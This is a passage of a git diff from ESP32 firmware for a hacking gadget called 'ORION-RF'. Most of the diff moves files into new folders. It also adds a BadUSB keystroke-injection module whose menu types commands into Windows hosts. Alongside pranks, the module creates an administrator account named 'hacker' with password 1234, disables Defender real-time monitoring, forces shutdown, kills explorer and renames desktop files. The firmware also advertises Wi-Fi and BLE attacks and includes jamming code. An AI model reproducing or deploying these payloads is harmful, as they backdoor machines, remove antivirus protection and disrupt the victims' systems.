!digitalRead(BTN_LEFT)) - { - return true; - } - } - - return false; -} - -// ===== DRAW ===== -#define MAX_ITEMS 6 -#define VISIBLE_ROWS 5 - -const char* labels[MAX_ITEMS] = { - "NRF1", - "NRF2", - "CC1101-1", - "CC1101-2", - "BUTTONS", - "OLED" -}; - -bool values[MAX_ITEMS]; - -int selectedIndex = 0; -int offset = 0; - -void drawStatus(DeviceStatus &s) -{ - values[0] = s.nrf1; - values[1] = s.nrf2; - values[2] = s.cc1101_1; - values[3] = s.cc1101_2; - values[4] = s.buttons; - values[5] = s.oled; - - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x10_tr); - - // scrolling logic - if (selectedIndex < offset) - offset = selectedIndex; - - if (selectedIndex >= offset + VISIBLE_ROWS) - offset = selectedIndex - VISIBLE_ROWS + 1; - - for (int i = 0; i < VISIBLE_ROWS; i++) - { - int item = offset + i; - if (item >= MAX_ITEMS) break; - - int y = 12 + i * 10; - - if (item == selectedIndex) - { - u8g2.drawBox(0, y - 9, 128, 10); - u8g2.setDrawColor(0); - } - - u8g2.drawStr(2, y, labels[item]); - - if (values[item]) - u8g2.drawStr(80, y, "OK"); - else - u8g2.drawStr(80, y, "FAIL"); - - if (item == selectedIndex) - u8g2.setDrawColor(1); - } - - u8g2.sendBuffer(); -} - -// ===== MAIN ===== -void device_check_run() -{ - DeviceStatus status; - - Serial.println("Running device diagnostics..."); - - // NRF - status.nrf1 = checkNRF(radio1); - status.nrf2 = checkNRF(radio2); - - // CC1101 - status.cc1101_1 = checkCC1101(CC1101_CS); - status.cc1101_2 = checkCC1101(CC1101_2_CS); - //status.cc1101_1 = status.cc1101_2 = false; - - // Buttons - status.buttons = checkButtons(); - - drawStatus(status); - - Serial.println("Diagnostics complete"); - - while (1) -{ - drawStatus(status); - - if (btnUp()) - { - selectedIndex--; - if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1; - delay(150); - } - - if (btnDown()) - { - selectedIndex++; - if (selectedIndex >= MAX_ITEMS) selectedIndex = 0; - delay(150); - } - - if (btnBack()) - { - delay(150); - break; - } -}} - - - diff --git a/src/device_check.h b/src/device_check.h deleted file mode 100644 index 3d6b250..0000000 --- a/src/device_check.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void device_check_run(); diff --git a/src/hid/badusb.cpp b/src/hid/badusb.cpp new file mode 100644 index 0000000..0438357 --- /dev/null +++ b/src/hid/badusb.cpp @@ -0,0 +1,398 @@ +#include +#include +#include "../ui/display.h" + +extern USBHIDKeyboard Keyboard; + +void runCommand(const char *command) { + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + delay(100); + Keyboard.releaseAll(); + delay(300); + Keyboard.print(command); + Keyboard.write(KEY_RETURN); +} + +void showRunningScreen(String taskName, uint8_t duration = 5) { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tf); + u8g2.drawStr(0, 15, "Running:"); + u8g2.drawStr(0, 30, taskName.c_str()); + u8g2.drawFrame(0, 45, 128, 10); + + static const unsigned char image_download_bits[] U8X8_PROGMEM = { + 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00, + 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, + 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00, + 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e, + 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, + 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, + 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00}; + static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = { + 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf, + 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe, + 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03, + 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff, + 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78, + 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00}; + + u8g2.setFontMode(1); + u8g2.setBitmapMode(1); + // download + u8g2.drawXBMP(80, 2, 48, 22, image_download_bits); + + // EviSmile1 + u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits); + + for (uint8_t i = 0; i <= duration; i++) { + u8g2.drawBox(1, 46, i * (126.0 / duration), 8); + u8g2.sendBuffer(); + delay(50); + } +} + + +void badUSBMenu(int index) { + //switch (index) + // { + // case 0: + // runBadUSBDemo(); + // break; + + // case 1: + // Serial.println("Open CMD payload"); + // runBadUSBOpenCMD(); + // break; + + // case 2: + // Serial.println("Rickroll payload"); + // runBadUSBRickroll(); + // break; + // } + + + switch(index) { + case 0: // demo + + showRunningScreen("DEMO"); + + // Run dialog (Win + R) + Keyboard.press(KEY_LEFT_GUI); + Keyboard.press('r'); + Keyboard.releaseAll(); + delay(1000); + + Keyboard.println("notepad"); + delay(1500); + + delay(2000); + + Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF"); + Keyboard.println("#-FEATURES:"); + Keyboard.println("1- WIFI ATTACKS"); + Keyboard.println("2- BLE ATTACKS"); + Keyboard.println("3- BAD USB"); + Keyboard.println("4- NFC"); + Keyboard.println("5- INFRARED"); + Keyboard.println("6- SUB-GHZ"); + Keyboard.println("7- GPIO"); + Keyboard.println("8- APPS"); + Keyboard.println("9- SETTINGS"); + Keyboard.println("10- FILES"); + + break; + case 1: // keyboard + //runLoop(hidkeyboard); + break; + case 2: // saved scripts + //hidInit(); + //runLoop(hidscriptmenu); + + break; + + case 3: // Open Notepad + + showRunningScreen("notepad"); + runCommand("notepad"); + break; + case 4: // Open CMD + showRunningScreen("opening cmd"); + runCommand("cmd"); + break; + case 5: // Show IP + showRunningScreen("Getting IP"); + runCommand("cmd"); + delay(500); + Keyboard.print("ipconfig"); + Keyboard.write(KEY_RETURN); + break; + case 6: // Shutdown + showRunningScreen("shutdown"); + runCommand("shutdown /s /t 0"); + break; + case 7: // RickRoll + showRunningScreen("rickroll"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); + Keyboard.write(KEY_RETURN); + break; + case 8: // Create Admin User + showRunningScreen("create admin user"); + runCommand("cmd"); + delay(500); + Keyboard.print("net user hacker 1234 /add"); + Keyboard.write(KEY_RETURN); + delay(300); + Keyboard.print("net localgroup administrators hacker /add"); + Keyboard.write(KEY_RETURN); + break; + case 9: // Disable Windows Defender + showRunningScreen("disable windoes defender"); + runCommand("powershell"); + delay(500); + Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true"); + Keyboard.write(KEY_RETURN); + break; + case 10: // Open YouTube + showRunningScreen("youtube"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.youtube.com"); + Keyboard.write(KEY_RETURN); + break; + case 11: // Lock PC + showRunningScreen("lock pc"); + runCommand("rundll32.exe user32.dll,LockWorkStation"); + break; + case 12: // Fake Update + showRunningScreen("fake update"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://fakeupdate.net/win10u/"); + Keyboard.write(KEY_RETURN); + break; + + case 13: // Endless Notepad + showRunningScreen("endless notepad"); + for (int i = 0; i < 10; i++) { + runCommand("notepad"); + delay(500); + } + break; + + case 14: // Fake BSOD (opens fullscreen image) + showRunningScreen(" fake bsod"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://fakeupdate.net/bsod/"); + Keyboard.write(KEY_RETURN); + break; + + case 15: // Flip screen + showRunningScreen("Flip screen"); + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_LEFT_ALT); + Keyboard.press(KEY_DOWN_ARROW); + delay(100); + Keyboard.releaseAll(); + break; + + case 16: // Matrix effect + showRunningScreen("Matrix effect"); + runCommand("cmd"); + delay(500); + Keyboard.print("color 0A"); + Keyboard.write(KEY_RETURN); + Keyboard.print(":a"); + Keyboard.write(KEY_RETURN); + Keyboard.print("echo %random%%random%%random%%random%"); + Keyboard.write(KEY_RETURN); + Keyboard.print("goto a"); + Keyboard.write(KEY_RETURN); + break; + + case 17: // I'm watching you prank + showRunningScreen(" iam watching you"); + for (int i = 0; i < 5; i++) { + runCommand("notepad"); + delay(1000); + Keyboard.print("I'm watching you..."); + delay(5000); + } + break; + + case 18: // Open Google + showRunningScreen("open google"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.google.com"); + Keyboard.write(KEY_RETURN); + break; + + case 19: // Open telegram + showRunningScreen("open telegram"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://web.telegram.org/"); + Keyboard.write(KEY_RETURN); + break; + + case 20: // Alarm Sound + showRunningScreen("alarm sound"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://www.soundjay.com/button/beep-07.wav"); + Keyboard.write(KEY_RETURN); + break; + + case 21: // Endless CMD + showRunningScreen("endless smd"); + for (int i = 0; i < 20; i++) { + runCommand("cmd"); + delay(300); + } + break; + + case 22: // Gibberish + showRunningScreen("gibberish"); + for (int i = 0; i < 100; i++) { + char c = random(33, 127); + Keyboard.write(c); + delay(50); + } + break; + + case 23: // CAPSLOCK Spam + showRunningScreen("caps lock spam"); + for (int i = 0; i < 10; i++) { + Keyboard.press(KEY_CAPS_LOCK); + delay(200); + Keyboard.release(KEY_CAPS_LOCK); + delay(200); + } + break; + + case 24: // Calculator + showRunningScreen("claculator"); + runCommand("calc"); + break; + + case 25: // Auto Type "Hacked!" + showRunningScreen("hacked"); + for (int i = 0; i < 5; i++) { + Keyboard.print("Hacked!"); + Keyboard.write(KEY_RETURN); + delay(1000); + } + break; + + case 26: // Turn off monitor (Windows only) + showRunningScreen("turn off monitor"); + runCommand("powershell"); + delay(500); + Keyboard.print( + "(Add-Type '[DllImport(\"user32.dll\")]public static extern int " + "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a " + "-Pas)::SendMessage(-1,0x0112,0xF170,2)"); + Keyboard.write(KEY_RETURN); + break; + + case 27: // RegEdit + showRunningScreen("regedit"); + runCommand("regedit"); + break; + + case 28: // Kill Explorer + showRunningScreen(" kill explorer"); + runCommand("taskkill /f /im explorer.exe"); + break; + + case 29: // Flash screen (by changing background rapidly) + showRunningScreen(" flash screen"); + for (int i = 0; i < 10; i++) { + runCommand("color 4F"); + delay(200); + runCommand("color 1F"); + delay(200); + } + break; + + case 30: // Rename Desktop Files (basic prank) + + showRunningScreen("rename desktop files"); + runCommand("powershell"); + delay(500); + Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | " + "Rename-Item -NewName {'hacked'+$_.Name}"); + Keyboard.write(KEY_RETURN); + break; + + case 31: // Toggle WiFi (requires admin) + showRunningScreen("toggle wifi"); + runCommand("cmd"); + delay(500); + Keyboard.print("netsh interface set interface Wi-Fi disabled"); + Keyboard.write(KEY_RETURN); + delay(1000); + Keyboard.print("netsh interface set interface Wi-Fi enabled"); + Keyboard.write(KEY_RETURN); + break; + + case 32: // Screenshot + showRunningScreen("screenshot"); + runCommand("powershell"); + delay(500); + Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;"); + Keyboard.write(KEY_RETURN); + delay(300); + Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')"); + Keyboard.write(KEY_RETURN); + break; + + case 33: // Emoji spam + showRunningScreen("emoji spam"); + for (int i = 0; i < 10; i++) { + Keyboard.print("💀"); + Keyboard.write(KEY_RETURN); + delay(500); + } + break; + + case 34: // Control Panel + showRunningScreen("control panel"); + runCommand("control"); + break; + + case 35: // Troll wallpaper + showRunningScreen("troll wallpaper"); + runCommand("cmd"); + delay(500); + Keyboard.print("start https://i.imgur.com/trollface.png"); + Keyboard.write(KEY_RETURN); + break; + + case 36: // MS Paint + showRunningScreen("ms paint"); + runCommand("mspaint"); + break; + + case 37: // Auto Tab Switcher + showRunningScreen(" auto tab switcher"); + for (int i = 0; i < 10; i++) { + Keyboard.press(KEY_LEFT_CTRL); + Keyboard.press(KEY_TAB); + delay(100); + Keyboard.releaseAll(); + delay(300); + } + break; +} +} + + diff --git a/src/hid/badusb.h b/src/hid/badusb.h new file mode 100644 index 0000000..a3390ec --- /dev/null +++ b/src/hid/badusb.h @@ -0,0 +1,5 @@ +#pragma once + +void badUSBMenu(int index); +void showRunningScreen(String taskName, uint8_t duration); +void runCommand(const char *command); diff --git a/src/main.cpp b/src/main.cpp index 08d18a4..bc93dd5 100644 --- a/src/main.cpp +++ b/src/main.cpp @@ -21,7 +21,7 @@ #include "ui/display.h" -#include "buttons.h" +#include "utils/buttons.h" #include "ui/menu.h" #include "config.h" diff --git a/src/nfc.cpp b/src/nfc.cpp deleted file mode 100644 index 3dcf5a9..0000000 --- a/src/nfc.cpp +++ /dev/null @@ -1,117 +0,0 @@ -#include "nfc.h" - -#include -#include -#include - -#include "ui/display.h" -#include "buttons.h" -#include "config.h" - -#define PN532_IRQ -1 -#define PN532_RESET -1 - -//Adafruit_PN532 nfc(Wire); -Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); - -void drawWaiting() -{ - u8g2.clearBuffer(); - - u8g2.drawStr(10, 20, "PN532 Ready"); - u8g2.drawStr(10, 40, "Tap NFC Card"); - - u8g2.sendBuffer(); -} - -void showUID(uint8_t *uid, uint8_t uidLength) -{ - char line[64]; - - String uidStr = ""; - - for (int i = 0; i < uidLength; i++) - { - if (uid[i] < 0x10) - uidStr += "0"; - - uidStr += String(uid[i], HEX); - uidStr += " "; - } - - uidStr.toUpperCase(); - - u8g2.clearBuffer(); - - u8g2.drawStr(0, 15, "Card Detected"); - - snprintf(line, sizeof(line), "UID:"); - - u8g2.drawStr(0, 35, line); - - u8g2.drawStr(0, 50, uidStr.c_str()); - - u8g2.sendBuffer(); -} - -void pn532_init() -{ - delay(100); - nfc.begin(); - delay(100); - - uint32_t versiondata = nfc.getFirmwareVersion(); - - if (!versiondata) - { - Serial.println("PN532 not found"); - - u8g2.clearBuffer(); - u8g2.drawStr(0, 20, "PN532 NOT FOUND"); - u8g2.sendBuffer(); - - delay(2000); - return; - } - - Serial.println("PN532 initialized"); - - nfc.SAMConfig(); -} - -void pn532_scan_loop() -{ - pn532_init(); - - drawWaiting(); - - while (1) - { - uint8_t success; - uint8_t uid[7]; - uint8_t uidLength; - - Serial.println("Scanning..."); - success = nfc.readPassiveTargetID( - PN532_MIFARE_ISO14443A, - uid, - &uidLength, - 50 - ); - - if (success) - { - Serial.println("Card detected"); - - showUID(uid, uidLength); - - delay(1000); - } - - if (btnBack()) - { - delay(150); - break; - } - } -} diff --git a/src/nfc.h b/src/nfc.h deleted file mode 100644 index 1570b5d..0000000 --- a/src/nfc.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once - -void pn532_init(); -void pn532_scan_loop(); diff --git a/src/nfc/nfc.cpp b/src/nfc/nfc.cpp new file mode 100644 index 0000000..474b4a0 --- /dev/null +++ b/src/nfc/nfc.cpp @@ -0,0 +1,117 @@ +#include "nfc.h" + +#include +#include +#include + +#include "ui/display.h" +#include "../utils/buttons.h" +#include "../config.h" + +#define PN532_IRQ -1 +#define PN532_RESET -1 + +//Adafruit_PN532 nfc(Wire); +Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); + +void drawWaiting() +{ + u8g2.clearBuffer(); + + u8g2.drawStr(10, 20, "PN532 Ready"); + u8g2.drawStr(10, 40, "Tap NFC Card"); + + u8g2.sendBuffer(); +} + +void showUID(uint8_t *uid, uint8_t uidLength) +{ + char line[64]; + + String uidStr = ""; + + for (int i = 0; i < uidLength; i++) + { + if (uid[i] < 0x10) + uidStr += "0"; + + uidStr += String(uid[i], HEX); + uidStr += " "; + } + + uidStr.toUpperCase(); + + u8g2.clearBuffer(); + + u8g2.drawStr(0, 15, "Card Detected"); + + snprintf(line, sizeof(line), "UID:"); + + u8g2.drawStr(0, 35, line); + + u8g2.drawStr(0, 50, uidStr.c_str()); + + u8g2.sendBuffer(); +} + +void pn532_init() +{ + delay(100); + nfc.begin(); + delay(100); + + uint32_t versiondata = nfc.getFirmwareVersion(); + + if (!versiondata) + { + Serial.println("PN532 not found"); + + u8g2.clearBuffer(); + u8g2.drawStr(0, 20, "PN532 NOT FOUND"); + u8g2.sendBuffer(); + + delay(2000); + return; + } + + Serial.println("PN532 initialized"); + + nfc.SAMConfig(); +} + +void pn532_scan_loop() +{ + pn532_init(); + + drawWaiting(); + + while (1) + { + uint8_t success; + uint8_t uid[7]; + uint8_t uidLength; + + Serial.println("Scanning..."); + success = nfc.readPassiveTargetID( + PN532_MIFARE_ISO14443A, + uid, + &uidLength, + 50 + ); + + if (success) + { + Serial.println("Card detected"); + + showUID(uid, uidLength); + + delay(1000); + } + + if (btnBack()) + { + delay(150); + break; + } + } +} diff --git a/src/nfc/nfc.h b/src/nfc/nfc.h new file mode 100644 index 0000000..1570b5d --- /dev/null +++ b/src/nfc/nfc.h @@ -0,0 +1,4 @@ +#pragma once + +void pn532_init(); +void pn532_scan_loop(); diff --git a/src/rf/nrf24.cpp b/src/rf/nrf24.cpp index 0479985..b780725 100644 --- a/src/rf/nrf24.cpp +++ b/src/rf/nrf24.cpp @@ -2,7 +2,7 @@ #include #include "nrf24.h" #include "../ui/display.h" -#include "../buttons.h" +#include "../utils/buttons.h" #define JAM_DURATION 500 extern SPIClass *RADIO_SPI; diff --git a/src/sysinfo.cpp b/src/sysinfo.cpp deleted file mode 100644 index 046933e..0000000 --- a/src/sysinfo.cpp +++ /dev/null @@ -1,87 +0,0 @@ -#include -#include "ui/display.h" -#include "buttons.h" -#include -#include - -void runSystemInfoFeature() -{ - esp_chip_info_t chip_info; - - esp_chip_info(&chip_info); - - while (true) - { - //u8g2.clearBuffer(); - - //char buf[32]; - - //sprintf(buf, "Cores: %d", chip_info.cores); - //u8g2.drawStr(0, 14, buf); - - //sprintf(buf, "Heap: %d", - // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); - //u8g2.drawStr(0, 28, buf); - - - //u8g2.drawStr(0, 60, "BACK to exit"); - - // Get RAM info - size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); - size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); - int ramUsage = 100 - ((freeHeap * 100) / totalHeap); - - // Get Flash info - //uint32_t flashSize = spi_flash_get_chip_size(); - uint32_t flashSize = ESP.getFlashChipSize(); - uint32_t flashUsed = ESP.getSketchSize(); - int flashUsage = (flashUsed * 100) / flashSize; - - // Temperature (approx) - uint8_t temperature = temperatureRead(); - - // Chip info - esp_chip_info_t chip_info; - esp_chip_info(&chip_info); - - u8g2.clearBuffer(); - u8g2.setFont(u8g2_font_6x12_tr); - - char buf[32]; - - // Box 1 - RAM - u8g2.drawFrame(0, 0, 128, 12); - sprintf(buf, "RAM: %d%% used", ramUsage); - u8g2.drawStr(4, 9, buf); - - // Box 2 - Flash - u8g2.drawFrame(0, 12, 128, 12); - sprintf(buf, "Flash: %d%% used", flashUsage); - u8g2.drawStr(4, 21, buf); - - // Box 3 - Temp (FULL WIDTH now) - u8g2.drawFrame(0, 24, 128, 12); - sprintf(buf, "Temp: %d C", temperature); - u8g2.drawStr(4, 33, buf); - - // Box 4 - Chip info (FULL WIDTH) - u8g2.drawFrame(0, 36, 128, 12); - sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); - u8g2.drawStr(4, 45, buf); - - // Box 5 - PSRAM (KB) - u8g2.drawFrame(0, 48, 128, 12); - sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); - u8g2.drawStr(4, 57, buf); - - u8g2.sendBuffer(); - - if (btnBack()) - { - delay(200); - return; - } - - delay(100); - } -} diff --git a/src/sysinfo.h b/src/sysinfo.h deleted file mode 100644 index 8a4f176..0000000 --- a/src/sysinfo.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void runSystemInfoFeature(); diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp index 2c8c3cd..462b89f 100644 --- a/src/ui/menu.cpp +++ b/src/ui/menu.cpp @@ -1,18 +1,18 @@ #include #include "menu.h" #include "display.h" -#include "buttons.h" -#include "badusb.h" +#include "utils/buttons.h" +#include "hid/badusb.h" #include "rf/nrf24.h" #include "rf/cc1101.h" -#include "blescanner.h" #include "wifi/wifi_scan.h" #include "wifi/wifi_analyzer.h" -#include "device_check.h" -#include "ble_mouse.h" -#include "sysinfo.h" +#include "utils/device_check.h" +#include "bluetooth/ble_mouse.h" +#include "bluetooth/blescanner.h" +#include "utils/sysinfo.h" #include "BleMouse.h" -#include "nfc.h" +#include "nfc/nfc.h" // ================= MENU DATA ================= extern BleMouse bleMouse; diff --git a/src/utils/buttons.cpp b/src/utils/buttons.cpp new file mode 100644 index 0000000..d3d1020 --- /dev/null +++ b/src/utils/buttons.cpp @@ -0,0 +1,20 @@ +#include "buttons.h" +#include +#include "../config.h" + +void buttonsInit() +{ + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_SELECT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_LEFT, INPUT_PULLUP); +} + +bool btnUp() { return !digitalRead(BTN_UP); } +bool btnDown() { return !digitalRead(BTN_DOWN); } +bool btnSelect() { return !digitalRead(BTN_SELECT); } +bool btnBack() { return !digitalRead(BTN_BACK); } +bool btnRight() { return !digitalRead(BTN_RIGHT); } +bool btnLeft() { return !digitalRead(BTN_LEFT); } diff --git a/src/utils/buttons.h b/src/utils/buttons.h new file mode 100644 index 0000000..cfa9fa3 --- /dev/null +++ b/src/utils/buttons.h @@ -0,0 +1,10 @@ +#pragma once + +void buttonsInit(); + +bool btnUp(); +bool btnDown(); +bool btnSelect(); +bool btnBack(); +bool btnRight(); +bool btnLeft(); diff --git a/src/utils/device_check.cpp b/src/utils/device_check.cpp new file mode 100644 index 0000000..5f63ffe --- /dev/null +++ b/src/utils/device_check.cpp @@ -0,0 +1,207 @@ +#include +#include +#include +#include +#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" + +#include "../ui/display.h" +#include "buttons.h" +#include "../config.h" + +// ===== EXTERNALS ===== +extern RF24 radio1; +extern RF24 radio2; +extern SPIClass *RADIO_SPI; +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +// ===== RESULTS ===== +struct DeviceStatus { + bool nrf1 = false; + bool nrf2 = false; + bool cc1101_1 = false; + bool cc1101_2 = false; + bool oled = true; + bool buttons = false; +}; + +// ===== NRF CHECK ===== +//bool checkNRF(RF24 &radio) +//{ +// // safer: only init if needed +// if (!radio.isChipConnected()) { +// if (!radio.begin(RADIO_SPI)) +// return false; +// } +// +// return radio.isChipConnected(); +//} + +bool checkNRF(RF24 &radio) +{ + radio.powerDown(); + delay(5); + + if (!radio.begin(RADIO_SPI)) + return false; + + delay(5); + + return radio.isChipConnected(); +} + +// ===== CC1101 CHECK ===== +bool checkCC1101(uint8_t csPin) +{ + ELECHOUSE_cc1101.setSpiPin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + csPin + ); + + delay(5); + + return ELECHOUSE_cc1101.getCC1101(); +} + +// ===== BUTTON CHECK ===== +bool checkButtons() +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 20, "Press any button..."); + u8g2.sendBuffer(); + + unsigned long start = millis(); + + while (millis() - start < 2000) + { + if (!digitalRead(BTN_UP) || + !digitalRead(BTN_DOWN) || + !digitalRead(BTN_SELECT) || + !digitalRead(BTN_BACK) || + !digitalRead(BTN_RIGHT) || + !digitalRead(BTN_LEFT)) + { + return true; + } + } + + return false; +} + +// ===== DRAW ===== +#define MAX_ITEMS 6 +#define VISIBLE_ROWS 5 + +const char* labels[MAX_ITEMS] = { + "NRF1", + "NRF2", + "CC1101-1", + "CC1101-2", + "BUTTONS", + "OLED" +}; + +bool values[MAX_ITEMS]; + +int selectedIndex = 0; +int offset = 0; + +void drawStatus(DeviceStatus &s) +{ + values[0] = s.nrf1; + values[1] = s.nrf2; + values[2] = s.cc1101_1; + values[3] = s.cc1101_2; + values[4] = s.buttons; + values[5] = s.oled; + + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + + // scrolling logic + if (selectedIndex < offset) + offset = selectedIndex; + + if (selectedIndex >= offset + VISIBLE_ROWS) + offset = selectedIndex - VISIBLE_ROWS + 1; + + for (int i = 0; i < VISIBLE_ROWS; i++) + { + int item = offset + i; + if (item >= MAX_ITEMS) break; + + int y = 12 + i * 10; + + if (item == selectedIndex) + { + u8g2.drawBox(0, y - 9, 128, 10); + u8g2.setDrawColor(0); + } + + u8g2.drawStr(2, y, labels[item]); + + if (values[item]) + u8g2.drawStr(80, y, "OK"); + else + u8g2.drawStr(80, y, "FAIL"); + + if (item == selectedIndex) + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); +} + +// ===== MAIN ===== +void device_check_run() +{ + DeviceStatus status; + + Serial.println("Running device diagnostics..."); + + // NRF + status.nrf1 = checkNRF(radio1); + status.nrf2 = checkNRF(radio2); + + // CC1101 + status.cc1101_1 = checkCC1101(CC1101_CS); + status.cc1101_2 = checkCC1101(CC1101_2_CS); + //status.cc1101_1 = status.cc1101_2 = false; + + // Buttons + status.buttons = checkButtons(); + + drawStatus(status); + + Serial.println("Diagnostics complete"); + + while (1) +{ + drawStatus(status); + + if (btnUp()) + { + selectedIndex--; + if (selectedIndex < 0) selectedIndex = MAX_ITEMS - 1; + delay(150); + } + + if (btnDown()) + { + selectedIndex++; + if (selectedIndex >= MAX_ITEMS) selectedIndex = 0; + delay(150); + } + + if (btnBack()) + { + delay(150); + break; + } +}} + + + diff --git a/src/utils/device_check.h b/src/utils/device_check.h new file mode 100644 index 0000000..3d6b250 --- /dev/null +++ b/src/utils/device_check.h @@ -0,0 +1,3 @@ +#pragma once + +void device_check_run(); diff --git a/src/utils/sysinfo.cpp b/src/utils/sysinfo.cpp new file mode 100644 index 0000000..aad170d --- /dev/null +++ b/src/utils/sysinfo.cpp @@ -0,0 +1,87 @@ +#include +#include "../ui/display.h" +#include "buttons.h" +#include +#include + +void runSystemInfoFeature() +{ + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + while (true) + { + //u8g2.clearBuffer(); + + //char buf[32]; + + //sprintf(buf, "Cores: %d", chip_info.cores); + //u8g2.drawStr(0, 14, buf); + + //sprintf(buf, "Heap: %d", + // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); + //u8g2.drawStr(0, 28, buf); + + + //u8g2.drawStr(0, 60, "BACK to exit"); + + // Get RAM info + size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); + size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); + int ramUsage = 100 - ((freeHeap * 100) / totalHeap); + + // Get Flash info + //uint32_t flashSize = spi_flash_get_chip_size(); + uint32_t flashSize = ESP.getFlashChipSize(); + uint32_t flashUsed = ESP.getSketchSize(); + int flashUsage = (flashUsed * 100) / flashSize; + + // Temperature (approx) + uint8_t temperature = temperatureRead(); + + // Chip info + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tr); + + char buf[32]; + + // Box 1 - RAM + u8g2.drawFrame(0, 0, 128, 12); + sprintf(buf, "RAM: %d%% used", ramUsage); + u8g2.drawStr(4, 9, buf); + + // Box 2 - Flash + u8g2.drawFrame(0, 12, 128, 12); + sprintf(buf, "Flash: %d%% used", flashUsage); + u8g2.drawStr(4, 21, buf); + + // Box 3 - Temp (FULL WIDTH now) + u8g2.drawFrame(0, 24, 128, 12); + sprintf(buf, "Temp: %d C", temperature); + u8g2.drawStr(4, 33, buf); + + // Box 4 - Chip info (FULL WIDTH) + u8g2.drawFrame(0, 36, 128, 12); + sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); + u8g2.drawStr(4, 45, buf); + + // Box 5 - PSRAM (KB) + u8g2.drawFrame(0, 48, 128, 12); + sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); + u8g2.drawStr(4, 57, buf); + + u8g2.sendBuffer(); + + if (btnBack()) + { + delay(200); + return; + } + + delay(100); + } +} diff --git a/src/utils/sysinfo.h b/src/utils/sysinfo.h new file mode 100644 index 0000000..8a4f176 --- /dev/null +++ b/src/utils/sysinfo.h @@ -0,0 